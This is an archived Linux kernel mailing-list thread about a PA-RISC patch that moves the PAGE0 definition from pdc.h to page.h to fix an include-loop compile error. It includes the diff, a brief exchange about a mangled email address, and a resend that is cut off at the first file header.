X-Trace: dough.gmane.org 1336601985 26525 80.91.229.3 (9 May 2012 22:19:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:19:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 10 00:19:43 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SSFEU-0005W9-7K
	for glk-linux-kernel-3@plane.gmane.org; Thu, 10 May 2012 00:19:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932655Ab2EIWTe (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 9 May 2012 18:19:34 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:6469 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932580Ab2EIWTY (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 9 May 2012 18:19:24 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MJJ2x004760
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:19:19 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q49MJIsn010527
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:19:18 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MJIi9004602;
	Wed, 9 May 2012 18:19:18 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MJI3X004599;
	Wed, 9 May 2012 18:19:18 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1294516 gmane.linux.ports.parisc:4339
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1294516>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

This was defined in asm/pdc.h which needs to include asm/page.h for
__PAGE_OFFSET. This leads to an include loop so that page.h eventually will
include pdc.h again. While this is no problem because of header guards, it is
a problem because some symbols may be undefined. Such an error is this:

In file included from /home/buildbot/repos/linux/include/linux/bitops.h:35:0,
                 from /home/buildbot/repos/linux/include/asm-generic/getorder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:16,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:6,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h:4,
                 from /home/buildbot/repos/linux/include/linux/sysfs.h:20,
                 from /home/buildbot/repos/linux/include/linux/kobject.h:21,
                 from /home/buildbot/repos/linux/include/linux/device.h:17,
                 from /home/buildbot/repos/linux/include/linux/eisa.h:5,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/pci.c:11:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In function "set_bit":
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: error: implicit declaration of function "_atomic_spin_lock_irqsave" [-Werror=implicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: error: implicit declaration of function "_atomic_spin_unlock_irqrestore" [-Werror=implicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@xxxxxxxxx>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/page.h  |    6 ++++++
 arch/parisc/include/asm/pdc.h   |    7 -------
 arch/parisc/kernel/pdc_cons.c   |    1 +
 arch/parisc/kernel/time.c       |    1 +
 drivers/parisc/sba_iommu.c      |    1 +
 drivers/video/console/sticore.c |    2 ++
 6 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..4e0e7db 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -160,5 +160,11 @@ extern int npmem_ranges;
 
 #include <asm-generic/memory_model.h>
 #include <asm-generic/getorder.h>
+#include <asm/pdc.h>
+
+#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
+
+/* DEFINITION OF THE ZERO-PAGE (PAG0) */
+/* based on work by Jason Eckhardt (jason@equator.com) */
 
 #endif /* _PARISC_PAGE_H */
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 4ca510b..7f0f2d2 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -343,8 +343,6 @@
 
 #ifdef __KERNEL__
 
-#include <asm/page.h> /* for __PAGE_OFFSET */
-
 extern int pdc_type;
 
 /* Values for pdc_type */
@@ -677,11 +675,6 @@ static inline char * os_id_to_string(u16 os_id) {
 
 #endif /* __KERNEL__ */
 
-#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
-
-/* DEFINITION OF THE ZERO-PAGE (PAG0) */
-/* based on work by Jason Eckhardt (jason@equator.com) */
-
 /* flags of the device_path */
 #define	PF_AUTOBOOT	0x80
 #define	PF_AUTOSEARCH	0x40
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 4f00459..9bbd2a5 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -50,6 +50,7 @@
 #include <linux/init.h>
 #include <linux/major.h>
 #include <linux/tty.h>
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
 static DEFINE_SPINLOCK(pdc_console_lock);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 7c07743..70e105d 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -29,6 +29,7 @@
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
+#include <asm/page.h>
 #include <asm/param.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 8644d53..42cfcd9 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -44,6 +44,7 @@
 #include <asm/ropes.h>
 #include <asm/mckinley.h>	/* for proc_mckinley_root */
 #include <asm/runway.h>		/* for proc_runway_root */
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
 #include <asm/parisc-device.h>
diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 6468a29..39571f9 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -22,7 +22,9 @@
 #include <linux/font.h>
 
 #include <asm/hardware.h>
+#include <asm/page.h>
 #include <asm/parisc-device.h>
+#include <asm/pdc.h>
 #include <asm/cacheflush.h>
 #include <asm/grfioctl.h>
 


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 5/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:22:09 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <CAEdQ38H4MjAGKYW3jbcRs98qKnikPwgN_0k2KWbK8wLmJa8xxQ@mail.gmail.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com> <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com> <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336602154 27861 80.91.229.3 (9 May 2012 22:22:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:22:34 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 00:22:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSFHD-00069a-Rg
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 00:22:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758239Ab2EIWWb convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 18:22:31 -0400
Original-Received: from mail-pz0-f46.google.com ([209.85.210.46]:58259 "EHLO
	mail-pz0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757441Ab2EIWWa convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 18:22:30 -0400
Original-Received: by dady13 with SMTP id y13so868123dad.19
        for <multiple recipients>; Wed, 09 May 2012 15:22:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        bh=hzZoASMblP+k6oSfwcmZMAFKySs3gltRY112KMRNkd8=;
        b=Rc2JJ2IyXuNrOH8OcZ6XyelsSctAdJEt0VtqKjckFDGGyjnGHSKS1RE33Ef6SsYI18
         jsWTCzD7nRtrdtcUMxNvurMVYNSEENuQapjqrHeEnlb481CBClq1C/TnIbKc/Yn10yKV
         RlzL3dpgWPL20K1O14siSQvVFKsi3/zNC51leB8ZzHx2PpgADfBhFWT5YCUXQ3lCw7HG
         grUHf46r8QZrUXnA89oIa3OcG1iTF5zf9pAiOmRCLfO7m0Aok+Z636WUyIBQwY4kuDh2
         JF0JBEC62yHEUuLK5IW1/QotwQotg2u9sbttJLuGpwGv9NdV3GfnuIlGHLIsk/PzbHPx
         Djmg==
Original-Received: by 10.68.190.131 with SMTP id gq3mr150095pbc.17.1336602150134; Wed,
 09 May 2012 15:22:30 -0700 (PDT)
Original-Received: by 10.68.43.102 with HTTP; Wed, 9 May 2012 15:22:09 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4340 gmane.linux.kernel:1294519
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4340>

On Wed, May 9, 2012 at 6:19 PM, Mikulas Patocka <mpatocka@redhat.com> w=
rote:
> From: Rolf Eike Beer <eike-kernel@sf-tec.de>
>
> This was defined in asm/pdc.h which needs to include asm/page.h for
> __PAGE_OFFSET. This leads to an include loop so that page.h eventuall=
y will
> include pdc.h again. While this is no problem because of header guard=
s, it is
> a problem because some symbols may be undefined. Such an error is thi=
s:
>
> In file included from /home/buildbot/repos/linux/include/linux/bitops=
=2Eh:35:0,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/asm-generic/getorder.h:7,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/include/asm/page.h:162,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/include/asm/pdc.h:346,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/include/asm/processor.h:16,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/include/asm/spinlock.h:6,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/include/asm/atomic.h:20,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/linux/atomic.h:4,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/linux/sysfs.h:20,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/linux/kobject.h:21,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/linux/device.h:17,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/inclu=
de/linux/eisa.h:5,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/=
parisc/kernel/pci.c:11:
> /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In funct=
ion "set_bit":
> /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: err=
or: implicit declaration of function "_atomic_spin_lock_irqsave" [-Werr=
or=3Dimplicit-function-declaration]
> /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: err=
or: implicit declaration of function "_atomic_spin_unlock_irqrestore" [=
-Werror=3Dimplicit-function-declaration]
>
> Signed-off-by: Rolf Eike Beer <eike-kernel@xxxxxxxxx>

Email address got eaten?

> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 5/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:34:06 -0400 (EDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091832420.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
 <CAEdQ38H4MjAGKYW3jbcRs98qKnikPwgN_0k2KWbK8wLmJa8xxQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="185242623-560017539-1336602846=:1272"
X-Trace: dough.gmane.org 1336602866 32742 80.91.229.3 (9 May 2012 22:34:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:34:26 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 00:34:24 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSFSe-00029b-Dg
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 00:34:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757998Ab2EIWeT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 18:34:19 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:48944 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756028Ab2EIWeT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 18:34:19 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MY7jC000948
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:34:07 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q49MY6C2030702
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:34:06 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MY6S2007177;
	Wed, 9 May 2012 18:34:06 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MY6sl007174;
	Wed, 9 May 2012 18:34:06 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <CAEdQ38H4MjAGKYW3jbcRs98qKnikPwgN_0k2KWbK8wLmJa8xxQ@mail.gmail.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4341 gmane.linux.kernel:1294521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4341>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--185242623-560017539-1336602846=:1272
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE



On Wed, 9 May 2012, Matt Turner wrote:

> On Wed, May 9, 2012 at 6:19 PM, Mikulas Patocka <mpatocka@redhat.com> wro=
te:
> > From: Rolf Eike Beer <eike-kernel@sf-tec.de>
> >
> > This was defined in asm/pdc.h which needs to include asm/page.h for
> > __PAGE_OFFSET. This leads to an include loop so that page.h eventually =
will
> > include pdc.h again. While this is no problem because of header guards,=
 it is
> > a problem because some symbols may be undefined. Such an error is this:
> >
> > In file included from /home/buildbot/repos/linux/include/linux/bitops.h=
:35:0,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/asm-generic/getorder.h:7,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/include/asm/page.h:162,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/include/asm/pdc.h:346,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/include/asm/processor.h:16,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/include/asm/spinlock.h:6,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/include/asm/atomic.h:20,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/linux/atomic.h:4,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/linux/sysfs.h:20,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/linux/kobject.h:21,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/linux/device.h:17,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/include=
/linux/eisa.h:5,
> > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 from /home/buildbot/repos/linux/arch/pa=
risc/kernel/pci.c:11:
> > /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In functio=
n "set_bit":
> > /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: error=
: implicit declaration of function "_atomic_spin_lock_irqsave" [-Werror=3Di=
mplicit-function-declaration]
> > /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: error=
: implicit declaration of function "_atomic_spin_unlock_irqrestore" [-Werro=
r=3Dimplicit-function-declaration]
> >
> > Signed-off-by: Rolf Eike Beer <eike-kernel@xxxxxxxxx>
>=20
> Email address got eaten?

I was copying the patch from mailing list web archive and it mangles=20
addresses. I fixed the others addresses, but forgot about this one.

Mikulas

> > Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
>=20
--185242623-560017539-1336602846=:1272--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 5/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:35:14 -0400 (EDT)
Lines: 132
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091834240.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336602931 752 80.91.229.3 (9 May 2012 22:35:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:35:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 00:35:30 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSFTk-0002h7-4E
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 00:35:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757056Ab2EIWfY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 18:35:24 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:35296 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756798Ab2EIWfW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 18:35:22 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MZFks006708
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:35:16 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q49MZETd030824
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:35:15 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MZEOF007351;
	Wed, 9 May 2012 18:35:14 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MZE4l007348;
	Wed, 9 May 2012 18:35:14 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4342 gmane.linux.kernel:1294522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4342>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

This was defined in asm/pdc.h which needs to include asm/page.h for
__PAGE_OFFSET. This leads to an include loop so that page.h eventually will
include pdc.h again. While this is no problem because of header guards, it is
a problem because some symbols may be undefined. Such an error is this:

In file included from /home/buildbot/repos/linux/include/linux/bitops.h:35:0,
                 from /home/buildbot/repos/linux/include/asm-generic/getorder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:16,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:6,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h:4,
                 from /home/buildbot/repos/linux/include/linux/sysfs.h:20,
                 from /home/buildbot/repos/linux/include/linux/kobject.h:21,
                 from /home/buildbot/repos/linux/include/linux/device.h:17,
                 from /home/buildbot/repos/linux/include/linux/eisa.h:5,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/pci.c:11:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In function "set_bit":
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: error: implicit declaration of function "_atomic_spin_lock_irqsave" [-Werror=implicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: error: implicit declaration of function "_atomic_spin_unlock_irqrestore" [-Werror=implicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/page.h  |    6 ++++++
 arch/parisc/include/asm/pdc.h   |    7 -------
 arch/parisc/kernel/pdc_cons.c   |    1 +
 arch/parisc/kernel/time.c       |    1 +
 drivers/parisc/sba_iommu.c      |    1 +
 drivers/video/console/sticore.c |    2 ++
 6 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..4e0e7db 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
